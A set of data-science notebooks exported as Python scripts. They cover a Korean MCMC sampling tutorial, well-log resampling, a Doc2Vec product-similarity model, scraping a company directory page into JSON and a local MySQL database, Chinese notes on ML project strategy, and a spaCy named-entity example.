\n# 분산 모수 알고 있다고 가정한 정규분포의 경우,
\n# $\\mu$의 prior 분포로 정규분포를 가정하고, posterior 분포를 구하면 정규분포가 나오게 된다.
\n#\n# $conjugate$임을 통해 쉽게 구할 수 있었다. \n\n# +\ndef calc_posterior_analytical(data, x, mu_0, sigma_0):\n sigma = 1.\n n = len(data)\n mu_post = (mu_0 / sigma_0**2 + data.sum() / sigma**2) / (1. / sigma_0**2 + n / sigma**2)\n sigma_post = (1. / sigma_0**2 + n / sigma**2)**-1\n return norm(mu_post, np.sqrt(sigma_post)).pdf(x)\n\nax = plt.subplot()\nx = np.linspace(-1, 1, 500)\nposterior_analytical = calc_posterior_analytical(data, x, 0., 1.)\nax.plot(x, posterior_analytical)\nax.set(xlabel='mu', ylabel='belief', title='Analytical posterior');\nsns.despine()\n# -\n\n# 위는 우리가 알고자하는, 사전 확률 정보를 고려하고, 데이터를 보고난 후의 $\\mu$의 값들의 확률의 양적 수치를 보여준다. \n\n# ### 그런데 문제는\n# 그러나, 사전확률이 conjugate 가 아니고, 손으로 사후 확률을 구할 수 없는 경우이다. \n\n\n\n# ## Explaining MCMC sampling with code\n\n# 샘플링 로직을 보자. 맨처음에는, (랜덤으로 선택할 수 있는) 시작 파라메터 지점을 임의로 지정한다.\n\n# ?norm\n\nmu_current = 1.\n\n# 그 후, 그 지점을 어느곳으로 옮길지 알아야한다. 이것이 마르코프가 하는 일이다. 독자들은 어떻게 옮길 지점을 알지에 대해서 잘 알수도, 모를 수도 있다.\n#\n# Metropolis sampler는 매우 멍청하고, 단지 현재 mu 값(즉, mu_current)이 중심이고 특정 표준편차(proposal_width)를 가진 정규 분포에서 표본을 추출한다(모델에 대해서 가정한 정규분포와는 관계없음). proposal_width는 얼마나 멀리 새자리로 옮길지를 결정할 것이다.\n\nproposal = norm(mu_current, proposal_width).rvs()\n\n# 다음에는, 옮긴 장소가 좋은 곳인지 평가한다. 제안된 mu를 가진 정규 분포가 예전 mu보다 데이터를 좀 더 잘 설명한다면, 당연히 그곳으로 가고 싶을 것이다. “데이터를 좀 더 잘 설명\"한다는 것은 무슨 의미일까? 제안된 파라메터 값(제안된 mu와 고정된 sigma)을 가진 우도가 주어졌을때 (정규분포) 데이터의 확률을 계산함으로써 적합함을 수치화한다.\n#\n# scipy.stats.normal(mu, sigma).pdf(data)을 사용해서 각 데이터 포인트에 대한 확률을 계산하고 각 확률을 곱함으로써 이를 구할 수 있다. 즉 우도를 계산한다(보통 log 확률을 쓰지만 여기서는 생략)\n\n# +\nlikelihood_current = norm(mu_current, 1).pdf(data).prod()\nlikelihood_proposal = norm(mu_proposal, 1).pdf(data).prod()\n\n# Compute prior probability of current and proposed mu \n# mu_prior_mu와 mu_prior_sd는 우리의 사전지식. 알고 있다고 가정한다.\n\nprior_current = norm(mu_prior_mu, mu_prior_sd).pdf(mu_current)\nprior_proposal = norm(mu_prior_mu, mu_prior_sd).pdf(mu_proposal)\n\n# Nominator of Bayes formula\np_current = likelihood_current * prior_current\np_proposal = likelihood_proposal * prior_proposal\n# -\n\n# 지금까지, 본질적으로 랜덤한 방향으로 움직임을 제안하고 mu_proposal가 mu_current보다 높은 우도를 가지는 경우에만 그 움직임를 받아드리는 언덕 오르기 알고리즘을 시행했다. 결국, 더이상 이동할 수 없는 mu=0 (또는 0에 가까운) 를 얻을 것이다.\n#\n# 그러나, 사후 확률을 얻고 가끔은 다른 방향으로의 움직임을 승인해야 한다. 가장 중요한 비결은 두 확률을 나누는 것이다.\n\np_accept = p_proposal / p_current\n\n# 승인 확률을 얻었다. p_proposal가 크면, 저 확률은 >1 일것이며, 승인 된다. 그러나, p_current가 크면, 예를 들어 두배 크면, 움직일 확률은 50%가 될 것이다.\n#\n#\n\n# rand는 0과 1사이 값을 리턴한다.
\n# 이렇게 되면, p_accept가 1보다 클때는 무조건 accept하고,
\n# 그게 아니여도 accept의 가능성이 생긴다.\n\n# +\naccept = np.random.rand() < p_accept\n\nif accept:\n # Update position\n cur_pos = proposal\n\n\n# -\n\n# 이 간단한 프로시져가 사후확률에서 표본을 얻을수 있게 해준다\n\n# ## Why does this make sense?\n\n# 한 걸음 뒤로 물러나서, 위의 승인 비율이 이 것이 동작하고, 적분을 피할수 있는 이유임을 주목하자. 정규화된 사후확률에 대한 승인률을 구하고 정규화되지 않은 사후확률의 승인률과 같음을 보임으로써 이를 보일 수 있다. $\\mu_0$를 현재 지점이고 $\\mu_1$를 제안지점이라고 하자. \n\n# ![2_245.png](./materials/2_245.png)\n\n#\n# 말로 하면, 제안된 파라메터 setting의 사후확률을 현재 파라메터 setting의 사후확률로 나누면, 계산할 수 없는 양 s는 소거된다. 그래서, 한 지점에서 full posterior를 다른 지점에서의 full posterior와 실제로 나눈 것과 같은 것임을 직감할 수 있다.\n#\n# 저 방법으로, 상대적으로 높은 사후확률을 가진 지점을 좀 더 자주 방문 할 수 있다.\n\n# ## Putting it all together\n\n# +\ndef sampler(data, samples=4, mu_init=.5, proposal_width=.5, plot=False, mu_prior_mu=0, mu_prior_sd=1.):\n mu_current = mu_init\n posterior = [mu_current]\n for i in range(samples):\n # suggest new position\n mu_proposal = norm(mu_current, proposal_width).rvs()\n\n # Compute likelihood by multiplying probabilities of each data point\n likelihood_current = norm(mu_current, 1).pdf(data).prod()\n likelihood_proposal = norm(mu_proposal, 1).pdf(data).prod()\n\n # Compute prior probability of current and proposed mu \n prior_current = norm(mu_prior_mu, mu_prior_sd).pdf(mu_current)\n prior_proposal = norm(mu_prior_mu, mu_prior_sd).pdf(mu_proposal)\n\n p_current = likelihood_current * prior_current\n p_proposal = likelihood_proposal * prior_proposal\n\n # Accept proposal?\n p_accept = p_proposal / p_current\n\n # Usually would include prior probability, which we neglect here for simplicity\n accept = np.random.rand() < p_accept\n\n if plot:\n plot_proposal(mu_current, mu_proposal, mu_prior_mu, mu_prior_sd, data, accept, posterior, i)\n\n if accept:\n # Update position\n mu_current = mu_proposal\n\n posterior.append(mu_current)\n\n return posterior\n\n# Function to display\ndef plot_proposal(mu_current, mu_proposal, mu_prior_mu, mu_prior_sd, data, accepted, trace, i):\n from copy import copy\n trace = copy(trace)\n fig, (ax1, ax2, ax3, ax4) = plt.subplots(ncols=4, figsize=(16, 4))\n fig.suptitle('Iteration %i' % (i + 1))\n x = np.linspace(-3, 3, 5000)\n color = 'g' if accepted else 'r'\n\n # Plot prior\n prior_current = norm(mu_prior_mu, mu_prior_sd).pdf(mu_current)\n prior_proposal = norm(mu_prior_mu, mu_prior_sd).pdf(mu_proposal)\n prior = norm(mu_prior_mu, mu_prior_sd).pdf(x)\n ax1.plot(x, prior)\n ax1.plot([mu_current] * 2, [0, prior_current], marker='o', color='b')\n ax1.plot([mu_proposal] * 2, [0, prior_proposal], marker='o', color=color)\n ax1.annotate(\"\", xy=(mu_proposal, 0.2), xytext=(mu_current, 0.2),\n arrowprops=dict(arrowstyle=\"->\", lw=2.))\n ax1.set(ylabel='Probability Density', title='current: prior(mu=%.2f) = %.2f\\nproposal: prior(mu=%.2f) = %.2f' % (mu_current, prior_current, mu_proposal, prior_proposal))\n\n # Likelihood\n likelihood_current = norm(mu_current, 1).pdf(data).prod()\n likelihood_proposal = norm(mu_proposal, 1).pdf(data).prod()\n y = norm(loc=mu_proposal, scale=1).pdf(x)\n sns.distplot(data, kde=False, norm_hist=True, ax=ax2)\n ax2.plot(x, y, color=color)\n ax2.axvline(mu_current, color='b', linestyle='--', label='mu_current')\n ax2.axvline(mu_proposal, color=color, linestyle='--', label='mu_proposal')\n #ax2.title('Proposal {}'.format('accepted' if accepted else 'rejected'))\n ax2.annotate(\"\", xy=(mu_proposal, 0.2), xytext=(mu_current, 0.2),\n arrowprops=dict(arrowstyle=\"->\", lw=2.))\n ax2.set(title='likelihood(mu=%.2f) = %.2f\\nlikelihood(mu=%.2f) = %.2f' % (mu_current, 1e14*likelihood_current, mu_proposal, 1e14*likelihood_proposal))\n\n # Posterior\n posterior_analytical = calc_posterior_analytical(data, x, mu_prior_mu, mu_prior_sd)\n ax3.plot(x, posterior_analytical)\n posterior_current = calc_posterior_analytical(data, mu_current, mu_prior_mu, mu_prior_sd)\n posterior_proposal = calc_posterior_analytical(data, mu_proposal, mu_prior_mu, mu_prior_sd)\n ax3.plot([mu_current] * 2, [0, posterior_current], marker='o', color='b')\n ax3.plot([mu_proposal] * 2, [0, posterior_proposal], marker='o', color=color)\n ax3.annotate(\"\", xy=(mu_proposal, 0.2), xytext=(mu_current, 0.2),\n arrowprops=dict(arrowstyle=\"->\", lw=2.))\n #x3.set(title=r'prior x likelihood $\\propto$ posterior')\n ax3.set(title='posterior(mu=%.2f) = %.5f\\nposterior(mu=%.2f) = %.5f' % (mu_current, posterior_current, mu_proposal, posterior_proposal))\n\n if accepted:\n trace.append(mu_proposal)\n else:\n trace.append(mu_current)\n ax4.plot(trace)\n ax4.set(xlabel='iteration', ylabel='mu', title='trace')\n plt.tight_layout()\n #plt.legend()\n\n\n# -\n\nposterior = sampler(data, samples=15000, mu_init=1.)\nfig, ax = plt.subplots()\nax.plot(posterior)\n_ = ax.set(xlabel='sample', ylabel='mu');\n\n\n# +\nax = plt.subplot()\n\nsns.distplot(posterior[500:], ax=ax, label='estimated posterior')\nx = np.linspace(-.5, .5, 500)\npost = calc_posterior_analytical(data, x, 0, 1)\nax.plot(x, post, 'g', label='analytic posterior')\n_ = ax.set(xlabel='mu', ylabel='belief');\nax.legend();\n\n# -\n\n\n\n# ### Proposal Width\n\nposterior_small = sampler(data, samples=5000, mu_init=1., proposal_width=.01)\nfig, ax = plt.subplots()\nax.plot(posterior_small);\n_ = ax.set(xlabel='sample', ylabel='mu');\n\nposterior_large = sampler(data, samples=5000, mu_init=1., proposal_width=3.)\nfig, ax = plt.subplots()\nax.plot(posterior_large); plt.xlabel('sample'); plt.ylabel('mu');\n_ = ax.set(xlabel='sample', ylabel='mu');\n\nsns.distplot(posterior_small[1000:], label='Small step size')\nsns.distplot(posterior_large[1000:], label='Large step size');\n_ = plt.legend();\n\n\n\n","repo_name":"saanghyuk/0B-python","sub_path":"data_analysis/6_04_MCMC.ipynb","file_name":"6_04_MCMC.ipynb","file_ext":"py","file_size_in_byte":11008,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"31804588343","text":"# # Resampling well data\n# Dongfang Qu, University of Copenhagen\n\n# In this notebook I show how to make a well log dataset with consistent depth values. The original data are well logs (Porosity, permeability, velocity, gamma, density) with unconsistent depth values due to different sampling spacing, which cannot be used for machine learning such as regression or classification.\n\nimport pandas as pd\ndf = pd.read_csv('Data.csv')\ndf.head(5)\n\ndepth_core = df[['depth_core']].values.ravel()[0:485]\ndepth_Vp = df[['depth_Vp']].values.ravel()[:8159]\ndepth_gamma = df[['depth_gamma']].values.ravel()[:8916]\ndepth_density = df[['depth_density']].values.ravel()[:56004]\nk = df[['k']].values.ravel()[:485]\nporosity = df[['porosity']].values.ravel()[:485]\nVp = df[['Vp']].values.ravel()[:8159]\ngamma = df[['gamma']].values.ravel()[:8916]\ndensity= df[['density']].values.ravel()[:56004]\nprint(max(depth_core))\nprint(max(depth_gamma))\nprint(max(depth_Vp))\nprint(max(depth_density))\n\nimport numpy as np\n# select Vp, density, gamma values corresponding to depth_core\nVp_selected = np.interp(depth_core, depth_Vp, Vp) \ndensity_selected = np.interp(depth_core, depth_density, density)\ngamma_selected = np.interp(depth_core, depth_gamma, gamma)\nporosity_selected = np.interp(depth_core, depth_core, porosity)\nk_selected = np.interp(depth_core, depth_core, k)\n\nVp_selected=np.reshape(Vp_selected, (485,1))\ndensity_selected = np.reshape(density_selected,(485,1))\ngamma_selected = np.reshape(gamma_selected,(485,1))\nporosity_selected = np.reshape(porosity_selected,(485,1))\nk_selected = np.reshape(k_selected,(485,1))\ndepth_core = np.reshape(depth_core,(485,1))\n\ndata = np.concatenate((depth_core, Vp_selected, density_selected, gamma_selected, porosity_selected, k_selected),axis=1)\ndata.shape\n\ndf_new = pd.DataFrame(data=data, columns=['depth','Vp','density','gamma','porosity','permeability'])\ndf_new.head(5)\n\ndf_new.tail(15)\n\n# Note some Vp and gamma values at depth larger than 448m and 446m need to be removed.\n\n# Now all the well logs have consistent depth values, and can be used for data analysis.\n\nfrom pandas.plotting import scatter_matrix\nimport matplotlib.pyplot as plt\nscatter_matrix(df_new,figsize=(15,10))\nplt.show()\n\n\n","repo_name":"GeoDQ/Resampling-well-log-data","sub_path":"Data_resampling.ipynb","file_name":"Data_resampling.ipynb","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"21205474646","text":"import pandas as pd\nimport numpy as np\nimport nltk\nimport re\nfrom gensim.models import Doc2Vec\nfrom gensim.models.doc2vec import TaggedDocument\nfrom nltk import word_tokenize\nfrom nltk.stem import PorterStemmer\nfrom nltk.corpus import stopwords\n\n\ndef CountFrequency(my_list): \n freq = {} \n for item in my_list: \n if (item in freq): \n freq[item] += 1\n else: \n freq[item] = 1\n \n return freq \n\n\ndef default_clean(x):\n if type(x) is str:\n x = x.lower()\n x = re.sub('<[^<]+?>', ' ', x)\n x = re.sub(r'^https?:\\/\\/.*[\\r\\n]*', ' ', x, flags=re.MULTILINE)\n x = re.sub('[^A-Z a-z]+', ' ', x)\n return x\n else:\n return x\n\n\ndef stop_and_stem(text, stem=True, stemmer = PorterStemmer()):\n '''\n Removes stopwords and does stemming\n '''\n stoplist = stopwords.words('english')\n if stem:\n text_stemmed = [stemmer.stem(word) for word in word_tokenize(text) if word not in stoplist ]\n else:\n text_stemmed = [word for word in word_tokenize(text) if word not in stoplist ]\n text = ' '.join(text_stemmed)\n return text\n\n\ndef test_predict(i):\n rand_int = i\n test_sample = sample.iloc[rand_int]['train_feature']\n label = sample.iloc[rand_int, sample.columns.get_loc('main_cat')] \n \n test_sample = default_clean(test_sample)\n test_sample = stop_and_stem(test_sample, stem=False)\n \n new_doc_words = test_sample.split()\n new_doc_vec = model.infer_vector(new_doc_words, steps=50, alpha=0.25) \n \n similars = model.docvecs.most_similar(positive=[new_doc_vec])\n return label,similars\n\n\nsample = pd.read_json(\"Meta_v4.json\")\n\nfor i in range(len(sample)):\n if sample['specifications'][i]=={}:\n sample = sample.drop(i)\n\nsample=sample.reset_index()\nsample = sample.drop(['index'],axis=1)\n\n# +\n# %%time\nfor i in range(len(sample['description'])):\n sample['description'][i] = ' '.join(map(str,sample['description'][i])) \n \nfor i in range(len(sample['feature'])):\n sample['feature'][i] = ' '.join(map(str,sample['feature'][i])) \n# -\n\nsample['train_feature'] = sample['description'] + ' ' + sample['title'] + ' ' + sample['feature']\n\nsample = sample.dropna()\n\nsample = sample[sample['description'] != '']\n\nsample['main_cat']= sample['main_cat'].replace('Home Audio & Theater', 'Home Audio & Theater')\nsample['main_cat']= sample['main_cat'].replace('Car Electronics', 'All Electronics')\nsample['main_cat']= sample['main_cat'].replace('Portable Audio & Accessories', 'All Electronics')\nsample['main_cat']= sample['main_cat'].replace('Cell Phones & Accessories', 'All Electronics')\nsample['main_cat']= sample['main_cat'].replace('Cell Phones & Accessories', 'All Electronics')\nsample['main_cat']= sample['main_cat'].replace('Tools & Home Improvement', 'All Electronics')\nsample['main_cat']= sample['main_cat'].replace('Tools & Home Improvement', 'All Electronics')\nsample['main_cat']= sample['main_cat'].replace('GPS & Navigation', 'All Electronics')\nsample['main_cat']= sample['main_cat'].replace('GPS & Navigation', 'All Electronics')\nsample['main_cat']= sample['main_cat'].replace('Tools & Home Improvement', 'All Electronics')\nsample['main_cat']= sample['main_cat'].replace('Camera & Photo', 'Camera & Photo')\n\nfrequency = CountFrequency(sample['main_cat'])\n\nfrequency\n\nremoval_list = ['Amazon Devices',\n 'Baby',\n 'All Beauty',\n 'Toys & Games',\n 'Sports & Outdoors',\n '',\n 'Apple Products',\n 'Health & Personal Care',\n 'Industrial & Scientific',\n 'Arts, Crafts & Sewing',\n '\"AMAZON']\n\nfor i in range(len(removal_list)):\n sample = sample[sample['main_cat'] != removal_list[i]]\n\nsample['train_feature'] = sample['train_feature'].apply(default_clean)\nsample['train_feature'] = sample['train_feature'].apply(stop_and_stem, stem=False)\n\nimport nltk\nnltk.download('punkt')\nfrom nltk.tokenize import word_tokenize\nimport numpy as np\n\nsentences = sample['train_feature'].tolist()\n\ntokenized_sent = []\nfor s in sentences:\n tokenized_sent.append(word_tokenize(s.lower()))\n\nfrom gensim.models.doc2vec import Doc2Vec, TaggedDocument\ntagged_data = [TaggedDocument(d, [i]) for i, d in enumerate(tokenized_sent)]\ntagged_data\n\n# +\n## Train doc2vec model\nmodel = Doc2Vec(tagged_data, vector_size = 20, window = 2, min_count = 1, epochs = 100)\n\n'''\nvector_size = Dimensionality of the feature vectors.\nwindow = The maximum distance between the current and predicted word within a sentence.\nmin_count = Ignores all words with total frequency lower than this.\nalpha = The initial learning rate.\n'''\nmodel.save('Product_Similarity_Model.doc2vec')\n# -\n\ncategory = sample['main_cat'].tolist()\n\ncount = 0\nscore = []\nembedding_matrix = []\nfor i in range(len(sentences)):\n count = 0\n test_doc = word_tokenize(sentences[i].lower())\n test_doc_vector = model.infer_vector(test_doc)\n embedding_matrix.append(test_doc_vector)\n model.docvecs.most_similar([test_doc_vector])\n similar_sentences = len(model.docvecs.most_similar([test_doc_vector]))\n for j in range(similar_sentences):\n index = model.docvecs.most_similar([test_doc_vector])[j][0]\n if category[index] == category[i]:\n count = count + 1\n score.append(count/similar_sentences)\n\nsample['similarity_score'] = score\nsample['embedding_vectors'] = embedding_matrix\n\nsample\n\nsample.to_csv('scored_dataset.csv')\n","repo_name":"DivM11/buynet","sub_path":"src/Product Similarity/Doc2Vec.ipynb","file_name":"Doc2Vec.ipynb","file_ext":"py","file_size_in_byte":5670,"program_lang":"python","lang":"hi","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"13853930423","text":"import requests\nimport json\nfrom bs4 import BeautifulSoup\n\n# Checking whether response is in json format or not.\n\n# +\nfrom requests.exceptions import HTTPError\n\ntry:\n response = requests.get('https://www.adapt.io/directory/industry/telecommunications/A-1')\n response.raise_for_status()\n # access JSOn content\n jsonResponse = response.json()\n print(\"Entire JSON response\")\n print(jsonResponse)\n\nexcept HTTPError as http_err:\n print(f'HTTP error occurred: {http_err}')\nexcept Exception as err:\n print(f'Other error occurred: {err}')\n# -\n\n# !pip install xmltodict\n\n# Web page was scraped in html using python\n\n# +\nimport xmltodict\nimport json\nimport requests\nlist3 = [] \n \n# Sample URL to fetch the html page\nurl = 'https://www.adapt.io/directory/industry/telecommunications/A-1'\n \n# Headers to mimic the browser\nheaders = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 \\\n (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'\n}\n \n# Get the page through get() method\nhtml_response = requests.get(url=url, headers = headers)\n \n# Save the page content as sample.html\nwith open(\"C:/Users/Dell/PycharmProjects/sample.html\", \"w\") as html_file:\n html_file.write(html_response.text)\n \n\n# -\n\n# !pip install xmltojson\n\n# !pip install utils\n\nimport xmltojson\nimport json\n\n# I parsed and formatted html using ToolSlick to convert the original html file into seperate desired html pages in order to transform into required Json files as asked in question number 2.\n\n# # Code for converting HTML into JSON\n\nwith open(\"C:/Users/Dell/PycharmProjects/sample1.html\", \"r\") as html_file:\n html = html_file.read()\n json_ = xmltojson.parse(html)\n\n\n# After converting into json, I copied the json contents and created a json file by the following code.\n\nwith open(\"C:/Users/Dell/PycharmProjects/company_index.json\", \"w\") as read_file:\n json.dump(json_,read_file)\n\n# I did the same thing for creating company_profile json file\n\nwith open(\"C:/Users/Dell/PycharmProjects/sample2.html\", \"r\") as html_file:\n html = html_file.read()\n json1_ = xmltojson.parse(html)\n\nwith open(\"C:/Users/Dell/PycharmProjects/company_profiles.json\", \"w\") as read_file:\n json.dump(json1_,read_file)\n\n# !pip install jsonpath\n\n# # Pymysql to load the json files into mysql database server\n\n# !pip install pymysql\n\n# Now, loading company_index into MySQL database using python\n\n# First, I imported pymysql\n\nimport pymysql\n\n# Then I read company_index json file\n\njson_data = open(\"C:/Users/Dell/PycharmProjects/company_index.json\").read()\n\n# I loaded json to convert json into python dictionary.\n\njson_obj = json.loads(json_data)\n\n# I installed XAMPP(MySQL server), and created a table for company_index in XAMPP.\n\n# Now I connected to database from my local machine using pymysql\n\ncon = pymysql.connect(host=\"localhost\",user=\"root\",password=\"\",db=\"json\")\n\n# I created an object of the cursor using the connection object\n\ncursor = con.cursor()\n\n# I inserted the data from json file into the database table in MySQL.\n\nfor item in json_obj:\n company_name = item.get(\"company_name\")\n source_url = item.get(\"source_url\")\n cursor.execute(\"insert into companyindex(company_name,source_url) value(%s,%s)\",(company_name,source_url))\n\n# Insertion successful\n\ncon.commit()\n\n# I queried the table from the database into jupyter notebook.\n\n# I executed the query, and then it showed 10 because there are 10 samples in the table.\n\ncursor.execute(\"select * from companyindex\")\n\n# I got all the records using fetchall\n\nmyresult = cursor.fetchall()\n\n# After getting the samples, the rows from the table were displayed.\n\nfor row in myresult:\n print(row)\n\n# Closed connection wtih the database\n\ncon.close()\n\n# I loaded company_profiles json file into MySQL database. As this json_file was written in nested_json format, I used pandas data frame to do the same task. First, I loaded the json file into pandas dataframe.\n\nimport pandas as pd\ndf = pd.read_json('C:/Users/Dell/PycharmProjects/company_profiles.json')\n\n# data = json.loads(f.read()) load data using Python json module. After that, json_normalize() is called with the argument record_path set to ['contact_details'] to flatten the nested list in contact_details.\n\nimport json\n# load data using Python JSON module\nwith open('C:/Users/Dell/PycharmProjects/company_profiles.json','r') as f:\n data = json.loads(f.read())\n# Flatten data\ndf_nested_list = pd.json_normalize(data, record_path =['contact_details'])\ndf_nested_list\n\n# I used meta to specify a list of metadata that was required for the result.\n\n# To include companyname, companylocation and companyrevenue\ndf_nested_list = pd.json_normalize(\n data, \n \n meta=['company_name', 'company_location','company_website','company_webdomain','company_industry','company_employee_size','company_revenue'],\n record_path =['contact_details']\n)\ndf_nested_list\n\n# The create engine was imported from sqlalchemy to create a database json.\n\nfrom sqlalchemy import create_engine\n\nengine = create_engine('mysql+pymysql://root:@localhost/json')\n\n# I created a table using the following code.\n\ndf_nested_list.to_sql(\"companyprofile\",con=engine)\n\n# The query result was displayed for companyprofile table.\n\ncon1 = pymysql.connect(host=\"localhost\",user=\"root\",password=\"\",db=\"json\")\n\ncursor1 = con1.cursor()\n\ncursor1.execute(\"select * from companyprofile\")\n\n# Two means two samples in the table.\n\nmyresult1 = cursor1.fetchall()\n\n# The samples of companyprofile table is shown below.\n\nfor row in myresult1:\n print(row)\n\n# # API testing using python - Write Test Case- Post Request\n\n# First, I obtained an API url for a website.\n\nurl = 'https://www.adapt.io/directory/industry/telecommunications/A-1'\n\n# Then I read the contents of json file.\n\njson_data1 = open(\"C:/Users/Dell/PycharmProjects/company_index.json\").read()\n\nrequests_json1 = json.loads(json_data1)\n\n# I posted request with Json Input body.\n\nresponse = requests.post(url,requests_json1)\n\nprint(response.content)\n\n# Validating Response code\n\nassert response.status_code == 200\n\n# The assertion is passed. We see that the response status code is matched the response code.\n\n# # Fetch Header from Response\n\nprint(response.headers)\n\nprint(response.headers.get('Content-Type'))\n\n# # API testing using python - Write Test Case- PUT Request\n\nurl = 'https://www.adapt.io/directory/industry/telecommunications/A-1'\n\njson_data2 = open(\"C:/Users/Dell/PycharmProjects/company_index.json\").read()\n\nrequests_json2 = json.loads(json_data2)\n\n# Code for the put request with Json Input body.\n\nresponse2 = requests.put(url,requests_json2)\n\nprint(response2.content)\n\nassert response2.status_code == 200\n\n# I used InnoDB as it is a storage engine of MySQL. MySQL uses this database by default, and in my opinion, InnoDB balances high reliability and performance.\n#\n","repo_name":"Hossain-life/Leadbook-","sub_path":"Interviewanswers.ipynb","file_name":"Interviewanswers.ipynb","file_ext":"py","file_size_in_byte":6859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"70981430096","text":"# 误差分析:针对错误样本,观察每个因数在错误样本中所占的比例来判断其重要性。通过这样的分析,使得我们可以专注解决影响模型正确率的主要问题。\n\n# dev/test sets中训练样本错误(y标注错误)时有必要手动矫正的情况:sets中分类错误的样本中错误样本所占的比例较高。\n#\n# 修正数据集的几点建议:\n# 1.同时对开发集和测试集进行修正\n# 2.修正所有标签,不要局限于模型分类错误的样本\n# 3.训练集不用修正,这样训练出来的模型健壮性较好\n# 4.允许开发集和测试集来自轻微不同的分布\n\n# 构建机器学习模型:先快速构建第一个简单模型,然后再利用上述方法反复迭代优化。\n\n# 当train set(来自网络上的猫图片)与dev/test set(手机拍摄的猫图片)不来自同一个分布的时候:\n\nfrom IPython.display import Image\nlibo=\"C:/Users/libo/Desktop/machine learning/结构化机器学习项目/图片/\"\nImage(filename = libo + \"2.png\", width=500, height=200)\n\n# 解决方法:\n# 1.将train set和dev/test set完全混合,然后在随机选择一部分作为train set,另一部分作为dev/test set。\n# 这样dev/test set中网络上的猫图片居多,训练的模型达不到实际应用的效果。\n#\n#\n# 2.将原来的train set和一部分dev/test set组合当成train set,剩下的dev/test set分别作为dev set和test set。\n# 实际应用效果较好。\n\n# train-dev set:“Same distribution as training set, but not used for training.”用于train set和dev/test set来源于不同分布时判断Bias and Variance\n\nlibo=\"C:/Users/libo/Desktop/machine learning/结构化机器学习项目/图片/\"\nImage(filename = libo + \"3.png\", width=500, height=200)\n\n# Data mismatch(数据不匹配):train data 与 Dev data 不一致。\n#\n# 解决建议:\n# 1.error analysis to try to understand difference between training dev/test sets\n# 2.Make training data more similar; or collect more data similar to dev/test sets\n#\n# 人工数据合成:手动调节 train set,使之与Dev data 一致。\n\n# 迁移学习:将已经训练好的模型的一部分知识(网络结构)直接应用到另一个类似模型中去。通常只改变样本输入、输出以及输出层的权重系数$W^{[L]}, b^{[L]}$\n#\n# 如果样本数量足够多,那么也可以只保留网络结构,重新训练所有层的权重系数:初始$W^{[L]}, b^{[L]}$由之前的模型训练得到,这一过程称为pre-training。之后,不断调试、优化$W^{[L]}, b^{[L]}$的过程称为fine-tuning。pre-training和fine-tuning分别对应下图中的黑色箭头和红色箭头。\n#\n# 迁移学习可以保留原神经网络的一部分,再添加新的网络层。\n\nlibo=\"C:/Users/libo/Desktop/machine learning/结构化机器学习项目/图片/\"\nImage(filename = libo + \"4.png\", width=500, height=200)\n\n# Multi-task learning(多任务学习):构建的神经网络同时执行多个任务。\n#\n# 应用范围:各个任务之间是相似问题(例如都是图片类别检测)\n#\n# Multi-task learning与Softmax regression的区别在于Softmax regression是single label的,即输出向量y只有一个元素为1;而Multi-task learning是multiple labels的,即输出向量y可以有多个元素为1。\n#\n# cost function:y=$\\frac1m∑_{i=1}^m∑_{j=1}^cL(\\hat y^{(i)}_j,y^{(i)}_j)$\n#\n# $L(\\hat y^{(i)}_j,y^{(i)}_j)=−y^{(i)}_jlog \\hat y^{(i)}_j−(1−y^{(i)}_j)log (1−\\hat y^{(i)}_j)$\n#\n#\n\n# 端到端(end-to-end)深度学习:将所有不同阶段的数据处理系统或学习系统模块组合在一起,用一个单一的神经网络模型来实现所有的功能,该模型只关心输入以及输出。\n#\n# 如果训练样本足够大,神经网络模型足够复杂,那么end-to-end模型性能比传统机器学习分块模型更好。\n\n# end-to-end深度学习有优点也有缺点。\n#\n# 优点:\n#\n# Let the data speak\n#\n# Less hand-designing of components(成分) needed\n#\n# 缺点:\n#\n# May need large amount of data\n#\n# Excludes potentially(有可能的) useful hand-designed\n","repo_name":"aohan12138/ML-ways","sub_path":"ML策略二.ipynb","file_name":"ML策略二.ipynb","file_ext":"py","file_size_in_byte":4144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"38002186849","text":"import spacy\nnlp = spacy.load('en_core_web_sm')\n\n\ndef show_ents(doc):\n if doc.ents:\n for ent in doc.ents:\n print(ent.text+' - '+ent.label_+' - '+str(spacy.explain(ent.label_)))\n else:\n print('No named entities found.')\n\n\ndoc = nlp(u'May I go to Washington, DC next May to see the Washington Monument?')\n\nshow_ents(doc)\n\ndoc = nlp(u'Can I please borrow 500 dollars from you to buy some Microsoft stock?')\n\nshow_ents(doc)\n\ndoc = nlp(u'Tesla to build a U.K. factory for $6 million')\n\nshow_ents(doc)\n\ndoc = nlp(u'Our company plans to introduce a new vacuum cleaner. '\n u'If successful, the vacuum cleaner will be our first product.')\n\nshow_ents(doc)\n\nfrom spacy.matcher import PhraseMatcher\n\nmatcher=PhraseMatcher(nlp.vocab)\n\nphrase_list = ['vacuum cleaner', 'vacuum-cleaner']\n\nphrase_patterns=[nlp(text) for text in phrase_list]\n\nmatcher.add(\"newproduct\",None,*phrase_patterns)\n\nfound_matches=matcher(doc)\n\nfound_matches\n\nfrom spacy.tokens import Span\n\nPROB= doc.vocab.strings[u\"PRODUCT\"]\n\nnew_ents = [Span(doc, match[1],match[2],label=PROB) for match in found_matches]\n\ndoc.ents = list(doc.ents) + new_ents\n\nshow_ents(doc)\n\n\n","repo_name":"akkinasrikar/natural-language-processing","sub_path":"Parts of speech tagging/.ipynb_checkpoints/Named-Entity-Recognition-checkpoint.ipynb","file_name":"Named-Entity-Recognition-checkpoint.ipynb","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"43362041438","text":"# ## seaborn 라이브러리를 통해 앤스콤 데이터 불러오기\n\nimport seaborn as sns\n# 특정 데이터를 주는 라이브러리를 통해 데이터 불러오기\nanscombe = 